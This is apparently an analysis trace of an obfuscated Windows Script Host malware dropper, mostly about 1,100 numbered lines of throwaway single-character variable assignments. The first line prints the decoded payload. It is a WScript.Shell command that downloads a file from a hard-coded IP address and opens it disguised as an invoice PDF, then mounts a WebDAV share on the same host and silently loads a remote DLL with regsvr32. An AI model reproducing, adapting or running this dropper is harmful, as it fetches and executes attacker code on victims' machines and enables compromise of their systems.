cqqzyjnmu + juxrvpa + tgafb + fhuby + nfcur + juxrvpa + lditva + lditva + togcawb + yfvcbdrlg + eignmvg + pdmrp + togcawb + llhwxzt + eignmvg + pdmrp + togcawb + pdmrp + cgdzz + fpcslmxar + tjlwpjn + knivvds + ducdmu + ducdmu + ducdmu + ducdmu + lditva + szdiiuko + fkqbjf + wchqda + pnplmhv + pnplmhv + pnplmhv + uuzdnbwjt + qompnsa + qompnsa + cqqzyjnmu + lditva + snmuag + snmuag + aqaxslwz + kzajt + szdiiuko + juxrvpa + azbhm + aqaxslwz + juxrvpa + uuzdnbwjt + nfcur + yslbbb + fhuby + wchqda + uuzdnbwjt + eignmvg + cgdzz + juxrvpa + azbhm + fhuby + juxrvpa + lditva + lditva + togcawb + yfvcbdrlg + eignmvg + pdmrp + togcawb + llhwxzt + eignmvg + pdmrp + togcawb + pdmrp + cgdzz + fpcslmxar + tjlwpjn + knivvds + ducdmu + ducdmu + ducdmu + ducdmu + lditva + szdiiuko + fkqbjf + wchqda + pnplmhv + pnplmhv + pnplmhv + uuzdnbwjt + qompnsa + qompnsa + cqqzyjnmu + lditva + eignmvg + togcawb + rxtkiivi + rxtkiivi + llhwxzt + cgdzz + tjlwpjn + cgdzz + eignmvg + eignmvg + togcawb + fpcslmxar + togcawb + rxtkiivi + eignmvg + pdmrp + szdiiuko + eqntpvf + eqntpvf, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll",0,false) ➔ 0
14	}
15	rfrxyxnz = "t";
16	rfrxyxnz = "Z";
17	rfrxyxnz = "i";
18	rfrxyxnz = "h";
19	rfrxyxnz = "p";
20	rfrxyxnz = "j";
21	rfrxyxnz = "P";
22	rfrxyxnz = "e";
23	rfrxyxnz = "D";
24	rfrxyxnz = "o";
25	rfrxyxnz = "T";
26	rfrxyxnz = "B";
27	rfrxyxnz = "k";
28	tjlwpjn = "D";
29	tjlwpjn = "y";
30	tjlwpjn = "x";
31	tjlwpjn = "d";
32	tjlwpjn = "r";
33	tjlwpjn = "p";
34	tjlwpjn = "Y";
35	tjlwpjn = "x";
36	tjlwpjn = "K";
37	tjlwpjn = "b";
38	tjlwpjn = "r";
39	tjlwpjn = "5";
40	pdmrp = "B";
41	pdmrp = "h";
42	pdmrp = "n";
43	pdmrp = "N";
44	pdmrp = "x";
45	pdmrp = "w";
46	pdmrp = "M";
47	pdmrp = "P";
48	pdmrp = "Y";
49	pdmrp = "J";
50	pdmrp = "o";
51	pdmrp = "H";
52	pdmrp = "c";
53	pdmrp = "o";
54	pdmrp = "r";
55	pdmrp = "L";
56	pdmrp = "Y";
57	pdmrp = "i";
58	pdmrp = "K";
59	pdmrp = "a";
60	pdmrp = "Z";
61	pdmrp = "A";
62	pdmrp = "O";
63	pdmrp = "U";
64	pdmrp = "z";
65	pdmrp = "e";
66	pdmrp = "D";
67	pdmrp = "t";
68	pdmrp = "a";
69	pdmrp = "Z";
70	pdmrp = "C";
71	pdmrp = "S";
72	pdmrp = ".";
73	qfceefi = "b";
74	qfceefi = "m";
75	qfceefi = "r";
76	qfceefi = "t";
77	qfceefi = "o";
78	qfceefi = "E";
79	qfceefi = "L";
80	qfceefi = "g";
81	qfceefi = "f";
82	qfceefi = "S";
83	qfceefi = "R";
84	qfceefi = "T";
85	qfceefi = "N";
86	qfceefi = "L";
87	qfceefi = "N";
88	qfceefi = "f";
89	qfceefi = "R";
90	qfceefi = "f";
91	qfceefi = "f";
92	qfceefi = "A";
93	qfceefi = "P";
94	qfceefi = "m";
95	qfceefi = "x";
96	qfceefi = "e";
97	qfceefi = "D";
98	qfceefi = "f";
99	qfceefi = "U";
100	qfceefi = "K";
101	qfceefi = "Y";
102	qfceefi = "K";
103	qfceefi = "l";
104	qfceefi = "N";
105	qfceefi = "Y";
106	qfceefi = "W";
107	qfceefi = "s";
108	qfceefi = "z";
109	qfceefi = "r";
110	qfceefi = "T";
111	qfceefi = "v";
112	qfceefi = "x";
113	qfceefi = "P";
114	qfceefi = "O";
115	fnbagfjh = "D";
116	fnbagfjh = "q";
117	fnbagfjh = "v";
118	fnbagfjh = "v";
119	fnbagfjh = "u";
120	fnbagfjh = "J";
121	fnbagfjh = "E";
122	fnbagfjh = "i";
123	fnbagfjh = "t";
124	fnbagfjh = "k";
125	fnbagfjh = "k";
126	fnbagfjh = "I";
127	rrmmgbm = "W";
128	rrmmgbm = "l";
129	rrmmgbm = "Y";
130	rrmmgbm = "e";
131	rrmmgbm = "a";
132	rrmmgbm = "r";
133	rrmmgbm = "c";
134	rrmmgbm = "p";
135	rrmmgbm = "B";
136	rrmmgbm = "N";
137	rrmmgbm = "q";
138	rrmmgbm = "o";
139	rrmmgbm = "Y";
140	rrmmgbm = "M";
141	rrmmgbm = "i";
142	rrmmgbm = "o";
143	rrmmgbm = "D";
144	rrmmgbm = "O";
145	rrmmgbm = "U";
146	rrmmgbm = "R";
147	rrmmgbm = "c";
148	rrmmgbm = "b";
149	rrmmgbm = "g";
150	rrmmgbm = "Z";
151	rrmmgbm = "D";
152	rrmmgbm = "T";
153	rrmmgbm = "b";
154	rrmmgbm = "y";
155	rrmmgbm = "h";
156	orawuvg = "z";
157	orawuvg = "X";
158	orawuvg = "T";
159	orawuvg = "k";
160	orawuvg = "H";
161	orawuvg = "P";
162	orawuvg = "h";
163	orawuvg = "I";
164	orawuvg = "O";
165	orawuvg = "y";
166	orawuvg = "N";
167	orawuvg = "r";
168	orawuvg = "I";
169	orawuvg = "Q";
170	aqaxslwz = "Q";
171	aqaxslwz = "j";
172	aqaxslwz = "I";
173	aqaxslwz = "B";
174	aqaxslwz = "x";
175	aqaxslwz = "o";
176	aqaxslwz = "v";
177	aqaxslwz = "c";
178	ljzlhoyoe = "X";
179	ljzlhoyoe = "D";
180	ljzlhoyoe = "E";
181	ljzlhoyoe = "W";
182	ljzlhoyoe = "V";
183	ljzlhoyoe = "z";
184	ljzlhoyoe = "b";
185	ljzlhoyoe = "o";
186	ljzlhoyoe = "I";
187	ljzlhoyoe = "d";
188	ljzlhoyoe = "m";
189	ljzlhoyoe = "N";
190	ljzlhoyoe = "K";
191	ljzlhoyoe = "y";
192	ljzlhoyoe = "b";
193	ljzlhoyoe = "d";
194	ljzlhoyoe = "B";
195	ljzlhoyoe = "O";
196	ljzlhoyoe = "R";
197	ljzlhoyoe = "J";
198	ljzlhoyoe = "R";
199	ljzlhoyoe = "f";
200	ljzlhoyoe = "l";
201	ljzlhoyoe = "W";
202	hdwbri = "k";
203	hdwbri = "P";
204	hdwbri = "L";
205	togcawb = "l";
206	togcawb = "N";
207	togcawb = "J";
208	togcawb = "G";
209	togcawb = "i";
210	togcawb = "Z";
211	togcawb = "g";
212	togcawb = "x";
213	togcawb = "O";
214	togcawb = "1";
215	iiidrgx = "y";
216	iiidrgx = "t";
217	iiidrgx = "b";
218	iiidrgx = "G";
219	iiidrgx = "Q";
220	iiidrgx = "W";
221	iiidrgx = "z";
222	iiidrgx = "v";
223	iiidrgx = "m";
224	iiidrgx = "y";
225	iiidrgx = "g";
226	iiidrgx = "E";
227	iiidrgx = "C";
228	iiidrgx = "H";
229	iiidrgx = "I";
230	iiidrgx = "Q";
231	iiidrgx = "u";
232	iiidrgx = "C";
233	iiidrgx = "F";
234	iiidrgx = "b";
235	iiidrgx = "P";
236	iiidrgx = "u";
237	iiidrgx = "H";
238	iiidrgx = "J";
239	iiidrgx = "e";
240	iiidrgx = "D";
241	iiidrgx = "K";
242	iiidrgx = "z";
243	iiidrgx = "O";
244	iiidrgx = "a";
245	iiidrgx = "f";
246	iiidrgx = "X";
247	iiidrgx = "s";
248	iiidrgx = "K";
249	iiidrgx = ":";
250	nfcur = "l";
251	nfcur = "o";
252	nfcur = "L";
253	nfcur = "W";
254	nfcur = "I";
255	nfcur = "n";
256	nfcur = "P";
257	nfcur = "O";
258	nfcur = "M";
259	nfcur = "s";
260	nfcur = "t";
261	nfcur = "p";
262	nfcur = "T";
263	nfcur = "s";
264	nfcur = "J";
265	nfcur = "y";
266	nfcur = "t";
267	nfcur = "l";
268	nfcur = "d";
269	nfcur = "G";
270	nfcur = "r";
271	nfcur = "Z";
272	nfcur = "v";
273	nfcur = "Q";
274	nfcur = "I";
275	nfcur = "h";
276	nfcur = "e";
277	nfcur = "e";
278	yfvcbdrlg = "R";
279	yfvcbdrlg = "w";
280	yfvcbdrlg = "W";
281	yfvcbdrlg = "h";
282	yfvcbdrlg = "G";
283	yfvcbdrlg = "H";
284	yfvcbdrlg = "J";
285	yfvcbdrlg = "h";
286	yfvcbdrlg = "f";
287	yfvcbdrlg = "n";
288	yfvcbdrlg = "Y";
289	yfvcbdrlg = "y";
290	yfvcbdrlg = "m";
291	yfvcbdrlg = "U";
292	yfvcbdrlg = "M";
293	yfvcbdrlg = "b";
294	yfvcbdrlg = "u";
295	yfvcbdrlg = "Z";
296	yfvcbdrlg = "C";
297	yfvcbdrlg = "r";
298	yfvcbdrlg = "q";
299	yfvcbdrlg = "P";
300	yfvcbdrlg = "j";
301	yfvcbdrlg = "E";
302	yfvcbdrlg = "u";
303	yfvcbdrlg = "J";
304	yfvcbdrlg = "K";
305	yfvcbdrlg = "O";
306	yfvcbdrlg = "i";
307	yfvcbdrlg = "S";
308	yfvcbdrlg = "Q";
309	yfvcbdrlg = "J";
310	yfvcbdrlg = "d";
311	yfvcbdrlg = "f";
312	yfvcbdrlg = "9";
313	plccck = "v";
314	plccck = "V";
315	plccck = "e";
316	plccck = "i";
317	plccck = "u";
318	plccck = "D";
319	plccck = "X";
320	plccck = "H";
321	plccck = "G";
322	plccck = "p";
323	xrookoar = "p";
324	xrookoar = "O";
325	xrookoar = "Y";
326	xrookoar = "m";
327	xrookoar = "V";
328	xrookoar = "F";
329	kzajt = "c";
330	kzajt = "y";
331	kzajt = "D";
332	kzajt = "a";
333	kzajt = "Q";
334	kzajt = "H";
335	kzajt = "m";
336	ducdmu = "D";
337	ducdmu = "B";
338	ducdmu = "D";
339	ducdmu = "d";
340	ducdmu = "J";
341	ducdmu = "i";
342	ducdmu = "R";
343	ducdmu = "O";
344	ducdmu = "W";
345	ducdmu = "X";
346	ducdmu = "M";
347	ducdmu = "z";
348	ducdmu = "Z";
349	ducdmu = "q";
350	ducdmu = "R";
351	ducdmu = "e";
352	ducdmu = "8";
353	uuzdnbwjt = "r";
354	uuzdnbwjt = "C";
355	uuzdnbwjt = "z";
356	uuzdnbwjt = "N";
357	uuzdnbwjt = "n";
358	uuzdnbwjt = "e";
359	uuzdnbwjt = "B";
360	uuzdnbwjt = "V";
361	uuzdnbwjt = "W";
362	uuzdnbwjt = "M";
363	uuzdnbwjt = "u";
364	uuzdnbwjt = "S";
365	uuzdnbwjt = "T";
366	uuzdnbwjt = "a";
367	uuzdnbwjt = "r";
368	uuzdnbwjt = "k";
369	uuzdnbwjt = "g";
370	uuzdnbwjt = "k";
371	uuzdnbwjt = "j";
372	uuzdnbwjt = "r";
373	lditva = "N";
374	lditva = "Y";
375	lditva = "t";
376	lditva = "E";
377	lditva = "N";
378	lditva = "c";
379	lditva = "o";
380	lditva = "\\";
381	juxrvpa = "W";
382	juxrvpa = "X";
383	juxrvpa = "A";
384	juxrvpa = "P";
385	juxrvpa = "h";
386	juxrvpa = "E";
387	juxrvpa = "m";
388	juxrvpa = "l";
389	juxrvpa = "G";
390	juxrvpa = "x";
391	juxrvpa = "O";
392	juxrvpa = "w";
393	juxrvpa = "v";
394	juxrvpa = "B";
395	juxrvpa = "K";
396	juxrvpa = "W";
397	juxrvpa = "F";
398	juxrvpa = "m";
399	juxrvpa = "e";
400	juxrvpa = "E";
401	juxrvpa = "c";
402	juxrvpa = "B";
403	juxrvpa = "H";
404	juxrvpa = "r";
405	juxrvpa = "b";
406	juxrvpa = "t";
407	juxrvpa = "g";
408	juxrvpa = "V";
409	juxrvpa = "t";
410	juxrvpa = "M";
411	juxrvpa = "k";
412	juxrvpa = "s";
413	juxrvpa = "g";
414	juxrvpa = "a";
415	juxrvpa = "g";
416	juxrvpa = "c";
417	juxrvpa = "Y";
418	juxrvpa = "F";
419	juxrvpa = "O";
420	juxrvpa = "X";
421	juxrvpa = "U";
422	juxrvpa = "v";
423	juxrvpa = "H";
424	juxrvpa = "W";
425	juxrvpa = " ";
426	tgafb = "S";
427	tgafb = "s";
428	tgafb = "Q";
429	tgafb = "Z";
430	tgafb = "q";
431	tgafb = "T";
432	tgafb = "C";
433	tgafb = "t";
434	tgafb = "c";
435	tgafb = "f";
436	tgafb = "N";
437	tgafb = "E";
438	tgafb = "S";
439	tgafb = "V";
440	tgafb = "E";
441	tgafb = "Y";
442	tgafb = "k";
443	tgafb = "n";
444	tgafb = "F";
445	tgafb = "q";
446	tgafb = "i";
447	tgafb = "M";
448	tgafb = "v";
449	tgafb = "a";
450	tgafb = "z";
451	tgafb = "o";
452	tgafb = "E";
453	tgafb = "Y";
454	tgafb = "W";
455	tgafb = "r";
456	tgafb = "B";
457	tgafb = "r";
458	tgafb = "o";
459	tgafb = "z";
460	tgafb = "o";
461	tgafb = "N";
462	tgafb = "D";
463	tgafb = "i";
464	tgafb = "o";
465	tgafb = "H";
466	tgafb = "F";
467	tgafb = "q";
468	tgafb = "u";
469	eqntpvf = "e";
470	eqntpvf = "c";
471	eqntpvf = "F";
472	eqntpvf = "c";
473	eqntpvf = "g";
474	eqntpvf = "l";
475	eqntpvf = "f";
476	eqntpvf = "v";
477	eqntpvf = "o";
478	eqntpvf = "a";
479	eqntpvf = "H";
480	eqntpvf = "M";
481	eqntpvf = "x";
482	eqntpvf = "c";
483	eqntpvf = "j";
484	eqntpvf = "S";
485	eqntpvf = "y";
486	eqntpvf = "G";
487	eqntpvf = "C";
488	eqntpvf = "q";
489	eqntpvf = "z";
490	eqntpvf = "Z";
491	eqntpvf = "D";
492	eqntpvf = "G";
493	eqntpvf = "i";
494	eqntpvf = "A";
495	eqntpvf = "M";
496	eqntpvf = "T";
497	eqntpvf = "T";
498	eqntpvf = "Q";
499	eqntpvf = "a";
500	eqntpvf = "h";
501	eqntpvf = "g";
502	eqntpvf = "P";
503	eqntpvf = "z";
504	eqntpvf = "z";
505	eqntpvf = "T";
506	eqntpvf = "h";
507	eqntpvf = "d";
508	eqntpvf = "l";
509	bohxjllfr = "a";
510	bohxjllfr = "q";
511	bohxjllfr = "y";
512	bohxjllfr = "L";
513	bohxjllfr = "x";
514	bohxjllfr = "F";
515	bohxjllfr = "M";
516	bohxjllfr = "z";
517	bohxjllfr = "X";
518	bohxjllfr = "T";
519	bohxjllfr = "U";
520	bohxjllfr = "a";
521	bohxjllfr = "N";
522	bohxjllfr = "V";
523	bohxjllfr = "T";
524	bohxjllfr = "e";
525	bohxjllfr = "%";
526	honfvv = "u";
527	honfvv = "q";
528	honfvv = "Z";
529	honfvv = "C";
530	honfvv = "Y";
531	honfvv = "R";
532	honfvv = "I";
533	honfvv = "y";
534	honfvv = "W";
535	honfvv = "i";
536	honfvv = "r";
537	honfvv = "v";
538	honfvv = "p";
539	honfvv = "Q";
540	honfvv = "n";
541	honfvv = "k";
542	honfvv = "H";
543	honfvv = "v";
544	honfvv = "b";
545	honfvv = "n";
546	honfvv = "r";
547	honfvv = "E";
548	honfvv = "M";
549	honfvv = "U";
550	snmuag = "o";
551	snmuag = "I";
552	snmuag = "M";
553	snmuag = "T";
554	snmuag = "f";
555	snmuag = "e";
556	snmuag = "T";
557	snmuag = "T";
558	snmuag = "l";
559	snmuag = "t";
560	snmuag = "P";
561	snmuag = "b";
562	snmuag = "o";
563	snmuag = "j";
564	snmuag = "h";
565	snmuag = "j";
566	snmuag = "p";
567	snmuag = "E";
568	snmuag = "G";
569	snmuag = "z";
570	snmuag = "N";
571	snmuag = "y";
572	snmuag = "H";
573	snmuag = "a";
574	snmuag = "W";
575	snmuag = "H";
576	snmuag = "c";
577	snmuag = "J";
578	snmuag = "S";
579	snmuag = "b";
580	snmuag = "g";
581	snmuag = "m";
582	snmuag = "g";
583	snmuag = "L";
584	snmuag = "&";
585	fkqbjf = "f";
586	fkqbjf = "J";
587	fkqbjf = "D";
588	fkqbjf = "Q";
589	fkqbjf = "X";
590	fkqbjf = "h";
591	fkqbjf = "i";
592	fkqbjf = "q";
593	fkqbjf = "V";
594	fkqbjf = "g";
595	fkqbjf = "P";
596	fkqbjf = "y";
597	fkqbjf = "B";
598	fkqbjf = "C";
599	fkqbjf = "x";
600	fkqbjf = "V";
601	fkqbjf = "f";
602	fkqbjf = "Z";
603	fkqbjf = "f";
604	fkqbjf = "W";
605	fkqbjf = "k";
606	fkqbjf = "j";
607	fkqbjf = "S";
608	fkqbjf = "D";
609	fkqbjf = "U";
610	fkqbjf = "G";
611	fkqbjf = "J";
612	fkqbjf = "c";
613	fkqbjf = "F";
614	fkqbjf = "R";
615	fkqbjf = "E";
616	fkqbjf = "n";
617	fkqbjf = "a";
618	qompnsa = "u";
619	qompnsa = "c";
620	qompnsa = "M";
621	qompnsa = "P";
622	qompnsa = "w";
623	qompnsa = "p";
624	qompnsa = "R";
625	qompnsa = "L";
626	qompnsa = "d";
627	qompnsa = "C";
628	qompnsa = "T";
629	qompnsa = "S";
630	qompnsa = "G";
631	qompnsa = "R";
632	qompnsa = "n";
633	qompnsa = "o";
634	njdjzxq = "F";
635	njdjzxq = "e";
636	njdjzxq = "v";
637	njdjzxq = "C";
638	njdjzxq = "J";
639	njdjzxq = "B";
640	njdjzxq = "c";
641	njdjzxq = "C";
642	njdjzxq = "G";
643	njdjzxq = "b";
644	njdjzxq = "E";
645	njdjzxq = "H";
646	njdjzxq = "a";
647	njdjzxq = "h";
648	njdjzxq = "m";
649	njdjzxq = "V";
650	njdjzxq = "k";
651	njdjzxq = "a";
652	njdjzxq = "j";
653	njdjzxq = "v";
654	njdjzxq = "t";
655	njdjzxq = "k";
656	njdjzxq = "H";
657	njdjzxq = "G";
658	njdjzxq = "u";
659	njdjzxq = "M";
660	njdjzxq = "v";
661	njdjzxq = "k";
662	njdjzxq = "F";
663	njdjzxq = "V";
664	njdjzxq = "z";
665	njdjzxq = "Z";
666	njdjzxq = "i";
667	njdjzxq = "q";
668	njdjzxq = "h";
669	njdjzxq = "\"";
670	azbhm = "s";
671	azbhm = "Y";
672	azbhm = "t";
673	azbhm = "M";
674	azbhm = "v";
675	azbhm = "a";
676	azbhm = "Q";
677	azbhm = "R";
678	azbhm = "E";
679	azbhm = "f";
680	azbhm = "Q";
681	azbhm = "H";
682	azbhm = "y";
683	azbhm = "p";
684	azbhm = "I";
685	azbhm = "P";
686	azbhm = "o";
687	azbhm = "T";
688	azbhm = "m";
689	azbhm = "q";
690	azbhm = "b";
691	azbhm = "d";
692	azbhm = "q";
693	azbhm = "r";
694	azbhm = "a";
695	azbhm = "y";
696	azbhm = "T";
697	azbhm = "R";
698	azbhm = "g";
699	azbhm = "I";
700	azbhm = "j";
701	azbhm = "/";
702	szdiiuko = "Q";
703	szdiiuko = "O";
704	szdiiuko = "K";
705	szdiiuko = "N";
706	szdiiuko = "l";
707	szdiiuko = "u";
708	szdiiuko = "H";
709	szdiiuko = "j";
710	szdiiuko = "w";
711	szdiiuko = "m";
712	szdiiuko = "r";
713	szdiiuko = "R";
714	szdiiuko = "s";
715	szdiiuko = "u";
716	szdiiuko = "E";
717	szdiiuko = "S";
718	szdiiuko = "F";
719	szdiiuko = "e";
720	szdiiuko = "g";
721	szdiiuko = "g";
722	szdiiuko = "Z";
723	szdiiuko = "H";
724	szdiiuko = "f";
725	szdiiuko = "W";
726	szdiiuko = "I";
727	szdiiuko = "x";
728	szdiiuko = "d";
729	rxtkiivi = "C";
730	rxtkiivi = "Q";
731	rxtkiivi = "t";
732	rxtkiivi = "Y";
733	rxtkiivi = "M";
734	rxtkiivi = "x";
735	rxtkiivi = "s";
736	rxtkiivi = "X";
737	rxtkiivi = "i";
738	rxtkiivi = "N";
739	rxtkiivi = "W";
740	rxtkiivi = "w";
741	rxtkiivi = "n";
742	rxtkiivi = "H";
743	rxtkiivi = "d";
744	rxtkiivi = "Q";
745	rxtkiivi = "A";
746	rxtkiivi = "Y";
747	rxtkiivi = "o";
748	rxtkiivi = "S";
749	rxtkiivi = "a";
750	rxtkiivi = "h";
751	rxtkiivi = "t";
752	rxtkiivi = "A";
753	rxtkiivi = "u";
754	rxtkiivi = "M";
755	rxtkiivi = "K";
756	rxtkiivi = "y";
757	rxtkiivi = "Z";
758	rxtkiivi = "V";
759	rxtkiivi = "w";
760	rxtkiivi = "c";
761	rxtkiivi = "Q";
762	rxtkiivi = "o";
763	rxtkiivi = "j";
764	rxtkiivi = "f";
765	rxtkiivi = "W";
766	rxtkiivi = "E";
767	rxtkiivi = "6";
768	ircsbci = "Z";
769	ircsbci = "T";
770	ircsbci = "h";
771	ircsbci = "A";
772	ircsbci = "b";
773	ircsbci = "S";
774	ircsbci = "M";
775	ircsbci = "u";
776	ircsbci = "g";
777	ircsbci = "l";
778	ircsbci = "C";
779	ircsbci = "h";
780	ircsbci = "j";
781	ircsbci = "d";
782	ircsbci = "G";
783	ircsbci = "e";
784	ircsbci = "R";
785	ircsbci = "J";
786	ircsbci = "h";
787	ircsbci = "L";
788	ircsbci = "d";
789	ircsbci = "U";
790	ircsbci = "b";
791	ircsbci = "b";
792	ircsbci = "k";
793	ircsbci = "V";
794	ircsbci = "Q";
795	ircsbci = "L";
796	ircsbci = "F";
797	ircsbci = "a";
798	ircsbci = "J";
799	ircsbci = "e";
800	ircsbci = "u";
801	ircsbci = "i";
802	ircsbci = "X";
803	ircsbci = "w";
804	ircsbci = "H";
805	wchqda = "A";
806	wchqda = "w";
807	wchqda = "f";
808	wchqda = "e";
809	wchqda = "V";
810	wchqda = "e";
811	wchqda = "t";
812	wchqda = "I";
813	wchqda = "l";
814	wchqda = "m";
815	wchqda = "n";
816	wchqda = "o";
817	wchqda = "U";
818	wchqda = "U";
819	wchqda = "s";
820	wchqda = "P";
821	wchqda = "c";
822	wchqda = "h";
823	wchqda = "E";
824	wchqda = "H";
825	wchqda = "i";
826	wchqda = "S";
827	wchqda = "e";
828	wchqda = "M";
829	wchqda = "Z";
830	wchqda = "t";
831	wchqda = "j";
832	wchqda = "v";
833	tgluwwp = "J";
834	tgluwwp = "x";
835	tgluwwp = "H";
836	tgluwwp = "b";
837	tgluwwp = "w";
838	tgluwwp = "V";
839	tgluwwp = "i";
840	tgluwwp = "K";
841	tgluwwp = "S";
842	tgluwwp = "s";
843	tgluwwp = "D";
844	tgluwwp = "o";
845	tgluwwp = "B";
846	tgluwwp = "c";
847	tgluwwp = "r";
848	tgluwwp = "f";
849	fxwjy = "H";
850	fxwjy = "k";
851	fxwjy = "w";
852	fxwjy = "O";
853	fxwjy = "H";
854	fxwjy = "p";
855	fxwjy = "C";
856	fxwjy = "R";
857	cqqzyjnmu = "s";
858	cqqzyjnmu = "m";
859	cqqzyjnmu = "a";
860	cqqzyjnmu = "O";
861	cqqzyjnmu = "g";
862	cqqzyjnmu = "p";
863	cqqzyjnmu = "w";
864	cqqzyjnmu = "g";
865	cqqzyjnmu = "d";
866	cqqzyjnmu = "V";
867	cqqzyjnmu = "y";
868	cqqzyjnmu = "U";
869	cqqzyjnmu = "C";
870	cqqzyjnmu = "T";
871	cqqzyjnmu = "W";
872	cqqzyjnmu = "b";
873	cqqzyjnmu = "n";
874	cqqzyjnmu = "J";
875	cqqzyjnmu = "w";
876	cqqzyjnmu = "t";
877	eignmvg = "j";
878	eignmvg = "h";
879	eignmvg = "x";
880	eignmvg = "J";
881	eignmvg = "L";
882	eignmvg = "R";
883	eignmvg = "p";
884	eignmvg = "Y";
885	eignmvg = "w";
886	eignmvg = "d";
887	eignmvg = "W";
888	eignmvg = "b";
889	eignmvg = "p";
890	eignmvg = "I";
891	eignmvg = "v";
892	eignmvg = "3";
893	ncjjfrsve = "O";
894	ncjjfrsve = "L";
895	ncjjfrsve = "X";
896	ncjjfrsve = "Z";
897	ncjjfrsve = "o";
898	ncjjfrsve = "H";
899	ncjjfrsve = "O";
900	ncjjfrsve = "t";
901	ncjjfrsve = "t";
902	ncjjfrsve = "E";
903	ncjjfrsve = "a";
904	ncjjfrsve = "w";
905	ncjjfrsve = "N";
906	ncjjfrsve = "K";
907	ncjjfrsve = "J";
908	ncjjfrsve = "j";
909	ncjjfrsve = "c";
910	ncjjfrsve = "q";
911	ncjjfrsve = "s";
912	ncjjfrsve = "O";
913	ncjjfrsve = "Q";
914	ncjjfrsve = "l";
915	ncjjfrsve = "J";
916	ncjjfrsve = "I";
917	ncjjfrsve = "t";
918	ncjjfrsve = "v";
919	ncjjfrsve = "v";
920	ncjjfrsve = "Q";
921	ncjjfrsve = "P";
922	ncjjfrsve = "b";
923	ncjjfrsve = "c";
924	ncjjfrsve = "V";
925	ncjjfrsve = "Y";
926	ncjjfrsve = "Z";
927	ncjjfrsve = "Y";
928	ncjjfrsve = "X";
929	ncjjfrsve = "T";
930	llhwxzt = "s";
931	llhwxzt = "T";
932	llhwxzt = "U";
933	llhwxzt = "h";
934	llhwxzt = "n";
935	llhwxzt = "D";
936	llhwxzt = "p";
937	llhwxzt = "e";
938	llhwxzt = "z";
939	llhwxzt = "M";
940	llhwxzt = "K";
941	llhwxzt = "r";
942	llhwxzt = "4";
943	sdroz = "f";
944	sdroz = "o";
945	sdroz = "q";
946	sdroz = "m";
947	sdroz = "p";
948	sdroz = "X";
949	sdroz = "g";
950	sdroz = "T";
951	sdroz = "m";
952	sdroz = "P";
953	sdroz = "z";
954	sdroz = "C";
955	sdroz = "c";
956	sdroz = "O";
957	sdroz = "M";
958	sdroz = "J";
959	sdroz = "P";
960	sdroz = "L";
961	sdroz = "R";
962	sdroz = "o";
963	sdroz = "j";
964	sdroz = "B";
965	sdroz = "l";
966	sdroz = "g";
967	sdroz = "j";
968	bmnaxpj = "k";
969	bmnaxpj = "w";
970	bmnaxpj = "s";
971	bmnaxpj = "a";
972	bmnaxpj = "j";
973	bmnaxpj = "O";
974	bmnaxpj = "W";
975	bmnaxpj = "u";
976	bmnaxpj = "y";
977	bmnaxpj = "s";
978	bmnaxpj = "t";
979	bmnaxpj = "A";
980	bmnaxpj = "t";
981	bmnaxpj = "L";
982	bmnaxpj = "r";
983	bmnaxpj = "W";
984	bmnaxpj = "a";
985	bmnaxpj = "r";
986	bmnaxpj = "o";
987	bmnaxpj = "i";
988	bmnaxpj = "G";
989	bmnaxpj = "v";
990	bmnaxpj = "g";
991	bmnaxpj = "g";
992	bmnaxpj = "E";
993	bmnaxpj = "n";
994	bmnaxpj = "D";
995	bmnaxpj = "f";
996	bmnaxpj = "n";
997	bmnaxpj = "O";
998	bmnaxpj = "w";
999	bmnaxpj = "Q";
1000	bmnaxpj = "m";
1001	bmnaxpj = "A";
1002	bmnaxpj = "F";
1003	bmnaxpj = "c";
1004	bmnaxpj = "o";
1005	bmnaxpj = "J";
1006	bmnaxpj = "r";
1007	bmnaxpj = "m";
1008	bmnaxpj = "E";
1009	bmnaxpj = "O";
1010	bmnaxpj = "P";
1011	bmnaxpj = "Y";
1012	ajbimuu = "y";
1013	ajbimuu = "G";
1014	ajbimuu = "G";
1015	ajbimuu = "A";
1016	ajbimuu = "J";
1017	ajbimuu = "O";
1018	ajbimuu = "r";
1019	ajbimuu = "f";
1020	ajbimuu = "d";
1021	ajbimuu = "x";
1022	ajbimuu = "d";
1023	ajbimuu = "d";
1024	ajbimuu = "Q";
1025	ajbimuu = "M";
1026	ajbimuu = "Y";
1027	ajbimuu = "G";
1028	ajbimuu = "Y";
1029	ajbimuu = "D";
1030	ajbimuu = "J";
1031	ajbimuu = "u";
1032	ajbimuu = "y";
1033	ajbimuu = "m";
1034	ajbimuu = "D";
1035	ajbimuu = "h";
1036	ajbimuu = "B";
1037	ajbimuu = "q";
1038	ajbimuu = "f";
1039	ajbimuu = "x";
1040	fxkzoac = "y";
1041	fxkzoac = "O";
1042	fxkzoac = "N";
1043	fxkzoac = "l";
1044	fxkzoac = "n";
1045	enykharga = "o";
1046	enykharga = "g";
1047	enykharga = "Z";
1048	enykharga = "K";
1049	enykharga = "j";
1050	enykharga = "Y";
1051	enykharga = "f";
1052	enykharga = "g";
1053	enykharga = "G";
1054	enykharga = "l";
1055	enykharga = "k";
1056	enykharga = "l";
1057	enykharga = "h";
1058	enykharga = "x";
1059	enykharga = "S";
1060	enykharga = "m";
1061	enykharga = "G";
1062	enykharga = "g";
1063	enykharga = "y";
1064	enykharga = "g";
1065	enykharga = "d";
1066	enykharga = "P";
1067	enykharga = "N";
1068	enykharga = "F";
1069	enykharga = "c";
1070	enykharga = "T";
1071	enykharga = "t";
1072	enykharga = "y";
1073	enykharga = "y";
1074	enykharga = "P";
1075	enykharga = "A";
1076	enykharga = "F";
1077	enykharga = "p";
1078	enykharga = "O";
1079	enykharga = "z";
1080	enykharga = "N";
1081	enykharga = "l";
1082	enykharga = "s";
1083	enykharga = "z";
1084	enykharga = "f";
1085	enykharga = "f";
1086	enykharga = "I";
1087	enykharga = "Z";
1088	enykharga = "Z";
1089	enykharga = "E";
1090	tnsazgj = "j";
1091	tnsazgj = "x";
1092	tnsazgj = "h";
1093	tnsazgj = "b";
1094	tnsazgj = "Y";
1095	tnsazgj = "W";
1096	tnsazgj = "X";
1097	tnsazgj = "F";
1098	tnsazgj = "K";
1099	knivvds = "P";
1100	knivvds = "t";
1101	knivvds = "m";
1102	knivvds = "K";
1103	knivvds = "d";
1104	knivvds = "R";
1105	knivvds = "e";
